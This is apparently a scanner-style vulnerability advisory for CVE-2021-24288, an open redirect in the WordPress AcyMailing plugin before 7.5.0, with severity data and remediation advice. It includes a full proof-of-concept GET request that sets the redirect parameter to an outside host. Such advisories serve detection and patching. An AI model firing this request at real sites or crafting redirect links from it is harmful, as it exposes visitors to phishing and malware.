| Title | WordPress AcyMailing <7.5.0 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. |
| Remediation | Update the AcyMailing plugin to version 7.5.0 or later to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04398 |
| CVE ID | CVE-2021-24288 |
| CWE ID | CWE-601 |
| Tags | cve cve2021 wpscan wordpress redirect wp-plugin acymailing vuln |
WordPress AcyMailing plugin before 7.5.0 contains an open redirect vulnerability due to improper sanitization of the redirect parameter. An attacker turning the request from POST to GET can craft a link containing a potentially malicious landing page and send it to the user.
GET /index.php?page=acymailing_front&ctrl=frontusers&ctrl=frontusers&noheader=1&user[email]=example@mail.com&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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